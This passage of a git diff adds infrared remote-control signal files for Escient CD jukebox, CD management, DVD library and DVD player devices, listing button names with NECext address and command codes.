+# +name: PAGE_DN +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 0E 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 0F 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 10 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 11 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 12 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 14 00 00 00 +# +name: OPEN_GLOBE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 14 00 00 00 +# +name: OPTIONS +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 14 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 16 00 00 00 +# +name: CURSOR_RT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 19 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 1B 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 1B 00 00 00 +# +name: <<_/BACKSPACE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 20 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 24 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 24 00 00 00 +# +name: I_RADIO +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2A 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2A 00 00 00 +# +name: RESUME +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2A 00 00 00 +# +name: FAVS_PLAY +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2E 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: AE 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: BF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/CD Jukebox/48,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Escient/CD Jukebox/48,-1.ir new file mode 100644 index 000000000..36b4e1bdf --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Escient/CD Jukebox/48,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 8A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/CD Jukebox/91,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Escient/CD Jukebox/91,-1.ir new file mode 100644 index 000000000..424cef5db --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Escient/CD Jukebox/91,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 01 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/CD Management/0,0.ir b/assets/resources/infrared/_CSV-IRDB_/Escient/CD Management/0,0.ir new file mode 100644 index 000000000..a017b6df2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Escient/CD Management/0,0.ir @@ -0,0 +1,314 @@ +Filetype: IR signals file +Version: 1 +# +name: RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: NEXT_PAGE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: BOTTOM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: ADVANCED +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 41 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 42 00 00 00 +# +name: PAUSE_(F3) +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 42 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 43 00 00 00 +# +name: TRACK_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 44 00 00 00 +# +name: PREVIOUS_TRACK_(F5) +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 44 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 45 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 46 00 00 00 +# +name: SONG_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 48 00 00 00 +# +name: NEXT_DISC_(F6) +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 48 00 00 00 +# +name: DONE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 49 00 00 00 +# +name: TOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4D 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: STOP_(F2) +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 53 00 00 00 +# +name: PLAY_(F1) +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 53 00 00 00 +# +name: TRACK_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 54 00 00 00 +# +name: NEXT_TRACK_(F4) +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 54 00 00 00 +# +name: SONG_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 58 00 00 00 +# +name: PREVIOUS_DISC_(F7) +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 58 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 59 00 00 00 +# +name: SINGLE_CD_MENU_(F9) +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 59 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5C 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5C 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5C 00 00 00 +# +name: PREV_PAGE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5D 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 62 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 63 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 64 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 65 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 66 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 68 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 69 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6B 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6C 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6C 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6C 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 78 00 00 00 +# +name: 5_CD_MENU_(F11) +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 78 00 00 00 +# +name: ABC'S +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 79 00 00 00 +# +name: RANDOM_CD_MENU_(F10) +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 79 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 7B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/CD Management/14,0.ir b/assets/resources/infrared/_CSV-IRDB_/Escient/CD Management/14,0.ir new file mode 100644 index 000000000..f296cd124 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Escient/CD Management/14,0.ir @@ -0,0 +1,398 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 04 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 09 00 00 00 +# +name: PAGE_+ +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 0C 00 00 00 +# +name: CH/PAGE_+ +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 0C 00 00 00 +# +name: CH/PAGE_UP +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 0C 00 00 00 +# +name: PG_UP +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 0D 00 00 00 +# +name: PG_DOWN +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 0E 00 00 00 +# +name: PAGE_- +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 0E 00 00 00 +# +name: CH/PAGE_- +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 0E 00 00 00 +# +name: CH/PG_DN +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 0E 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 0F 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 0F 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 10 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 11 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 12 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 14 00 00 00 +# +name: OPEN_GLOBE +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 14 00 00 00 +# +name: OPTION +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 14 00 00 00 +# +name: OPTIONS +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 14 00 00 00 +# +name: OG +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 15 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 16 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 16 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 17 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 18 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 19 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 1A 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 1B 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 1B 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 1B 00 00 00 +# +name: MENU/VIEW +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 1B 00 00 00 +# +name: SKIP_BACK +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 20 00 00 00 +# +name: << +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 20 00 00 00 +# +name: SEARCH_<<_BACKSPACE +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 20 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 21 00 00 00 +# +name: SKIP_FORWARD +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 22 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 22 00 00 00 +# +name: >> +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 22 00 00 00 +# +name: SEARCH_>>_SPACE +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 22 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 24 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 24 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 24 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 25 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 27 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 28 00 00 00 +# +name: IRADIO +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 2A 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 2A 00 00 00 +# +name: RESUME +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 2A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 2B 00 00 00 +# +name: MUSIC +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 2C 00 00 00 +# +name: ADD_FAV +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 2D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 2E 00 00 00 +# +name: PLAY_FAVORITES +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 2E 00 00 00 +# +name: PLAY_FAVS +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 2E 00 00 00 +# +name: RANDOM_FAV +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 2F 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 2F 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 2F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/CD Management/91,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Escient/CD Management/91,-1.ir new file mode 100644 index 000000000..424cef5db --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Escient/CD Management/91,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 01 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/DVD Library/1,22.ir b/assets/resources/infrared/_CSV-IRDB_/Escient/DVD Library/1,22.ir new file mode 100644 index 000000000..86729817a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Escient/DVD Library/1,22.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: RR +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 20 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/DVD Library/8,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Escient/DVD Library/8,-1.ir new file mode 100644 index 000000000..37b574814 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Escient/DVD Library/8,-1.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: INFO +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 01 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 02 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 03 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 04 00 00 00 +# +name: TRACK< +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 05 00 00 00 +# +name: TRACK> +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 06 00 00 00 +# +name: PREV_DISC +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 07 00 00 00 +# +name: NEXT_DISC +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 08 00 00 00 +# +name: FULL_SCREEN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 09 00 00 00 +# +name: COVERS_SCREEN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0A 00 00 00 +# +name: PLAY_SCREEN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0B 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 3C 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 54 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5F 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 61 00 00 00 +# +name: DOWN' +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 62 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 63 00 00 00 +# +name: MOUSE_CLICK +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 7F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 81 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 82 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 83 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 84 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 85 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 86 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 87 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 88 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 89 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 8A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 08 00 00 00 +command: BC 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 08 00 00 00 +command: D4 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 08 00 00 00 +command: DF 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 08 00 00 00 +command: E1 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 08 00 00 00 +command: E2 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 08 00 00 00 +command: E3 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 08 00 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/DVD Player/1,22.ir b/assets/resources/infrared/_CSV-IRDB_/Escient/DVD Player/1,22.ir new file mode 100644 index 000000000..76e99ed78 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Escient/DVD Player/1,22.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 00 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 02 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 04 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 06 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 08 00 00 00 +# +name: CH/PAGE_+ +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 0D 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 0F 00 00 00 +# +name: GUIDE_TOGGLE +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 14 00 00 00 +# +name: OPENGLOBE +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 15 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 17 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 19 00 00 00 +# +name: VIEW_TOGGLE +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 1C 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 20 00 00 00 +# +name: RR +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 20 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 22 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 23 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 24 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 25 00 00 00 +# +name: MOVIES +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 26 00 00 00 +# +name: IRADIO +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 2A 00 00 00 +# +name: DISC_+ +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 2B 00 00 00 +# +name: ADD_TO_FAVORITES +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 2D 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 30 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 41 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 42 00 00 00 +# +name: PLAYMODE-NORMAL +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 43 00 00 00 +# +name: PLAYMODE-RPT_TRACK +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 44 00 00 00 +# +name: PLAYMODE-RPT_TITLE +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 45 00 00 00 +# +name: PLAYMODE-RPT_GROUP +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 46 00 00 00 +# +name: PLAYMODE-RAND_TITLE +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 47 00 00 00 +# +name: PLAYMODE-RAND_GROUP +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 48 00 00 00 +# +name: VIEW_BY_ARTIST +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 49 00 00 00 +# +name: VIEW_BY_TITLE +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 4A 00 00 00 +# +name: VIEW_BY_SONG +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 4B 00 00 00 +# +name: VIEW_BY_COVER +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 4C 00 00 00 +# +name: PLAYER +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 4D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/DVD Player/2,22.ir b/assets/resources/infrared/_CSV-IRDB_/Escient/DVD Player/2,22.ir new file mode 100644 index 000000000..6f52d73c0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Escient/DVD Player/2,22.ir @@ -0,0 +1,224 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 00 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 02 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 04 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 06 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 08 00 00 00 +# +name: CH/PAGE_- +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 0E 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 0F 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 10 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 11 00 00 00 +# +name: OPTIONS +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 13 00 00 00 +# +name: GUIDE_TOGGLE +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 14 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 16 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 18 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 1A 00 00 00 +# +name: VIEW_TOGGLE +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 1C 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 21 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 22 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 23 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 24 00 00 00 +# +name: IRADIO +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 2A 00 00 00 +# +name: MUSIC +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 2C 00 00 00 +# +name: ADD_TO_FAVORITES +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 2D 00 00 00 +# +name: DISC_- +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 32 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 41 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 42 00 00 00 +# +name: PLAYMODE-NORMAL +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 43 00 00 00 +# +name: PLAYMODE-RPT_TRACK +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 44 00 00 00 +# +name: PLAYMODE-RPT_TITLE +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 45 00 00 00 +# +name: PLAYMODE-RPT_GROUP +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 46 00 00 00 +# +name: PLAYMODE-RAND_TITLE +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 47 00 00 00 +# +name: PLAYMODE-RAND_GROUP +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 48 00 00 00 +# +name: VIEW_BY_ARTIST +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 49 00 00 00 +# +name: VIEW_BY_TITLE +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 4A 00 00 00 +# +name: VIEW_BY_SONG +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 4B 00 00 00 +# +name: VIEW_BY_COVER +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 4C 00 00 00 +# +name: PLAYER +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 4D 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 4E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/DVD Player/3,22.ir b/assets/resources/infrared/_CSV-IRDB_/Escient/DVD Player/3,22.ir new file mode 100644 index 000000000..4f947f437 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Escient/DVD Player/3,22.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 00 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 03 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 05 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 07 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 09 00 00 00 +# +name: CH/PAGE_+ +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 0D 00 00 00 +# +name: OPENGLOBE +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 15 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 17 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 19 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 1A 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 1B 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 22 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 